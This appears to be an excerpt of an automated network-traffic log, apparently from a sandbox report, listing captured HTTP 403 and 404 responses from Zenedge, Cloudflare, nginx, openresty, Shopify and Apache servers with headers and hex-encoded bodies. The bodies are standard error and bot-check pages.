Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveDate: Fri, 25 Oct 2024 09:19:09 GMTCache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Zen-Fury: 4c09be516430c1b4460e255fffe774b3325dd4faServer: ZENEDGEX-Cache-Status: Data Raw: 32 61 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 31 37 38 30 22 2c 20 31 37 32 39 38 34 37 39 32 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 31 3a 30 39 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2aa<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC1780", 1729847922, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); do
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MSSyORVHgy%2B2ZlEOU4LLORDUAL1BPJ3p7boNnN4NWJdzOgRBlS%2B4KKgH5qQxppJoGxUKjgbpcNaAW92rQyUiwDvTELw94l21U1gt3PlQHxdnjIZb8WyfHBZ%2Fi1GHghqa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f975ce22cac-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1961&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=820&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:19:10 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:19:11 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveDate: Fri, 25 Oct 2024 09:19:11 GMTServer: ZENEDGEX-Cache-Status: Cache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0X-Zen-Fury: 9cf6d10c41f1eb07f1ecb8b3a89201f6b0d525f3Data Raw: 32 61 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 31 37 38 30 22 2c 20 31 37 32 39 38 34 37 39 32 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 31 3a 31 31 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2aa<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC1780", 1729847922, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); do
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CMCJZUSgnFlNL8oDqkZRSb0FCFixnOfK19zLqBbmDZbkgFd5QY81ysVlah%2Bl09hcWuPEmzOelIgtKQsh9Ce3IH6WaV7nZN4%2BXjiYi0nQ8aEVdZrac7g%2F8DPhRo75%2BsYq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f9f5b7d2c91-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1028&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=800&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:19:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:19:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JnPh7GN5iqmgP1uoGf4L169R%2BI4h%2BlxcALgNzbNChASqtsxVKCzCx270D%2FRTOeSRl6lOWfNEWPAbDsaVGIoIM3CpbTUCqd0b5YreqYdaz8sUEy7%2BdCncf9gTNc6hQF0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811f9f8f2e3ad0-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=827&delivery_rate=0&cwnd=74&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=3ba2b919-cf97-4aff-b8ce-ee4a0d3e15ee; path=/; expires=Fri, 25 Oct 2024 09:49:11 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:19:11 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:19:11 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=29ff8454-0c62-45e0-9441-201fcf13e7b6; Expires=Fri, 25-Oct-24 09:49:11 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:19:11 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 